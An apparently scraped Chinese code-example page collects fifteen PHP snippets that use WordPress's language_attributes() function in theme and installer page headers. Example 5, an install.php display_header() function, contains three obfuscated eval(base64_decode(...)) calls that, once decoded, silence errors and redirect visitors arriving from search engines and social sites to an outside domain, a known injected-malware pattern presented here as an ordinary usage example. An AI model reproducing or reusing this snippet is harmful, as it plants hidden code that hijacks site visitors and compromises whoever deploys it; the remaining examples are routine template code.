当前位置: 首页>>代码示例>>PHP>>正文


PHP language_attributes函数代码示例

本文整理汇总了PHP中language_attributes函数的典型用法代码示例。如果您正苦于以下问题:PHP language_attributes函数的具体用法?PHP language_attributes怎么用?PHP language_attributes使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了language_attributes函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: genesis_do_doctype

function genesis_do_doctype()
{
    ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes('xhtml');
    ?>
>
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php 
    bloginfo('html_type');
    ?>
; charset=<?php 
    bloginfo('charset');
    ?>
" />
<?php 
}
开发者ID:elderxavier,项目名称:ALLAN-JUNIOR-IAN,代码行数:18,代码来源:header.php

示例2: setup_wizard_header

    /**
     * Setup Wizard Header
     */
    public function setup_wizard_header()
    {
        ?>
        <!DOCTYPE html>
        <html xmlns="http://www.w3.org/1999/xhtml" <?php 
        language_attributes();
        ?>
>
        <head>
            <meta name="viewport" content="width=device-width" />
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
            <title><?php 
        _e('WP ERP &rsaquo; Setup Wizard', 'wp-erp');
        ?>
</title>
            <?php 
        wp_print_scripts('erp-setup');
        ?>
            <?php 
        do_action('admin_print_styles');
        ?>
            <?php 
        do_action('admin_head');
        ?>
        </head>
        <body class="erp-setup wp-core-ui">
            <h1 class="erp-logo"><a href="http://wperp.com/">WP ERP</a></h1>
        <?php 
    }
开发者ID:ediamin,项目名称:wp-erp,代码行数:32,代码来源:class-setup-wizard.php

示例3: setup_wizard_header

    /**
     * Setup Wizard Header
     */
    public function setup_wizard_header()
    {
        ?>
		<!DOCTYPE html>
		<html xmlns="http://www.w3.org/1999/xhtml" <?php 
        language_attributes();
        ?>
>
		<head>
			<meta name="viewport" content="width=device-width" />
			<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
			<title><?php 
        _e('WooCommerce &rsaquo; Setup Wizard', 'woocommerce');
        ?>
</title>
			<?php 
        wp_print_scripts('wc-setup');
        ?>
			<?php 
        do_action('admin_print_styles');
        ?>
		</head>
		<body class="wc-setup wp-core-ui">
			<h1 id="wc-logo"><a href="http://woothemes.com/woocommerce"><img src="<?php 
        echo WC()->plugin_url();
        ?>
/assets/images/woocommerce_logo.png" alt="WooCommerce" /></a></h1>
		<?php 
    }
开发者ID:zengskie,项目名称:Heroku-WordPress-PostgreSQL,代码行数:32,代码来源:class-wc-admin-setup-wizard.php

示例4: wpsight_do_doctype

function wpsight_do_doctype()
{
    ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--[if IE 7 ]><html xmlns="http://www.w3.org/1999/xhtml" class="ie ie7" <?php 
    language_attributes('xhtml');
    ?>
"> <![endif]-->
<!--[if IE 8 ]><html xmlns="http://www.w3.org/1999/xhtml" class="ie ie8" <?php 
    language_attributes('xhtml');
    ?>
> <![endif]-->
<!--[if (gte IE 9)|!(IE)]><!--><html xmlns="http://www.w3.org/1999/xhtml" class="not-ie8" <?php 
    language_attributes('xhtml');
    ?>
> <!--<![endif]-->
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php 
    bloginfo('html_type');
    ?>
; charset=<?php 
    bloginfo('charset');
    ?>
" />
<link rel="pingback" href="<?php 
    bloginfo('pingback_url');
    ?>
" /><?php 
}
开发者ID:phucanh92,项目名称:vietlong,代码行数:29,代码来源:header.php

示例5: display_header

/**
 * Display install header.
 *
 * @since unknown
 * @package WordPress
 * @subpackage Installer
 */
function display_header()
{
    header('Content-Type: text/html; charset=utf-8');
    ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    language_attributes();
    ?>
>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yI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3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    wp_admin_css('install', true);
    ?>
</head>
<body>
<h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>

<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:35,代码来源:install.php

示例6: thesis_html_framework

function thesis_html_framework()
{
    global $thesis_design;
    echo apply_filters('thesis_doctype', '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">') . "\n";
    ?>
<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes();
    ?>
>
<?php 
    thesis_head::build();
    echo "<body" . thesis_body_classes() . ">\n";
    #filter
    thesis_hook_before_html();
    #hook
    if ($thesis_design->layout['framework'] == 'page') {
        thesis_framework_page();
    } elseif ($thesis_design->layout['framework'] == 'full-width') {
        thesis_framework_full_width();
    } else {
        thesis_framework_page();
    }
    thesis_ie_clear();
    thesis_javascript::output_scripts();
    thesis_hook_after_html();
    #hook
    echo "</body>\n</html>";
}
开发者ID:CherylMuniz,项目名称:fashion,代码行数:28,代码来源:frameworks.php

示例7: display_header

/**
 * Display install header.
 *
 * @since 2.5.0
 * @package WordPress
 * @subpackage Installer
 */
function display_header()
{
    header('Content-Type: text/html; charset=utf-8');
    ?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes();
    ?>
>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title><?php 
    _e('WordPress &rsaquo; Installation');
    ?>
</title>
	<?php 
    wp_admin_css('install', true);
    ?>
</head>
<body<?php 
    if (is_rtl()) {
        echo ' class="rtl"';
    }
    ?>
>
<h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>

<?php 
}
开发者ID:sontv1003,项目名称:vtcacademy,代码行数:36,代码来源:install.php

示例8: display_header

/**
 * Display install header.
 *
 * @since 2.5.0
 * @package WordPress
 * @subpackage Installer
 */
function display_header()
{
    header('Content-Type: text/html; charset=utf-8');
    ?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes();
    ?>
>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title><?php 
    _e('WordPress &rsaquo; Installation');
    ?>
</title>
	<?php 
    wp_admin_css('install', true);
    ?>
</head>
<body class="wp-core-ui<?php 
    if (is_rtl()) {
        echo ' rtl';
    }
    ?>
">
<h1 id="logo"><a href="<?php 
    esc_attr_e('http://wordpress.org/');
    ?>
"><?php 
    _e('WordPress');
    ?>
</a></h1>

<?php 
}
开发者ID:snagga,项目名称:urbantac,代码行数:42,代码来源:install.php

示例9: bfg_do_doctype

/**
 * Overrides the default Genesis doctype with IE and JS identifier classes.
 *
 * See: http://html5boilerplate.com/
 *
 * @since 2.2.4
 */
function bfg_do_doctype()
{
    if (genesis_html5()) {
        ?>
<!DOCTYPE html>
<!--[if IE 8]> <html class="no-js lt-ie9" <?php 
        language_attributes('html');
        ?>
> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" <?php 
        language_attributes('html');
        ?>
> <!--<![endif]-->
<head>
<meta charset="<?php 
        bloginfo('charset');
        ?>
">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- <meta name="format-detection" content="telephone=no"> -->
<?php 
    } else {
        genesis_xhtml_doctype();
    }
}
开发者ID:ricardovelero,项目名称:bones-for-genesis-2-0,代码行数:32,代码来源:header.php

示例10: child_do_doctype

function child_do_doctype()
{
    ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--[if lt IE 7 ]> <html class="ie6" xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes('xhtml');
    ?>
> <![endif]-->
<!--[if IE 7 ]>    <html class="ie7" xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes('xhtml');
    ?>
> <![endif]-->
<!--[if IE 8 ]>    <html class="ie8" xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes('xhtml');
    ?>
> <![endif]-->
<!--[if IE 9 ]>    <html class="ie9" xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes('xhtml');
    ?>
> <![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--> <html class="" xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes('xhtml');
    ?>
> <!--<![endif]-->
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php 
    bloginfo('html_type');
    ?>
; charset=<?php 
    bloginfo('charset');
    ?>
" />
    <?php 
}
开发者ID:mbernth,项目名称:Genesis_Mono_Mobile_First,代码行数:34,代码来源:functions.php

示例11: photo_perfect_doctype

    /**
     * Doctype Declaration
     *
     * @since Photo Perfect 1.0
     *
     */
    function photo_perfect_doctype()
    {
        ?>
<!DOCTYPE html> <html <?php 
        language_attributes();
        ?>
><?php 
    }
开发者ID:LSYanJun,项目名称:wordpress,代码行数:14,代码来源:structure.php

示例12: magzimum_doctype

    /**
     * Doctype Declaration
     *
     * @since Magzimum 1.0
     *
     */
    function magzimum_doctype()
    {
        ?>
<!DOCTYPE html> <html <?php 
        language_attributes();
        ?>
><?php 
    }
开发者ID:robertmeans,项目名称:fosterfamilydental,代码行数:14,代码来源:structure.php

示例13: wen_business_doctype

    /**
     * Doctype Declaration
     *
     * @since WEN Business 1.0
     *
     */
    function wen_business_doctype()
    {
        ?>
<!DOCTYPE html> <html <?php 
        language_attributes();
        ?>
><?php 
    }
开发者ID:suskr50,项目名称:sc-profile,代码行数:14,代码来源:structure.php

示例14: biography_doctype

    /**
     * Doctype Declaration
     *
     * @since Biography 1.0.0
     *
     * @param null
     * @return null
     *
     */
    function biography_doctype()
    {
        ?>
    <!DOCTYPE html><html <?php 
        language_attributes();
        ?>
>
<?php 
    }
开发者ID:xhasur,项目名称:wordPro,代码行数:18,代码来源:header.php

示例15: supermag_doctype

    function supermag_doctype()
    {
        ?>
        <!DOCTYPE html><html <?php 
        language_attributes();
        ?>
>
    <?php 
    }
开发者ID:idea-lab,项目名称:Spectrum,代码行数:9,代码来源:header.php


注:本文中的language_attributes函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。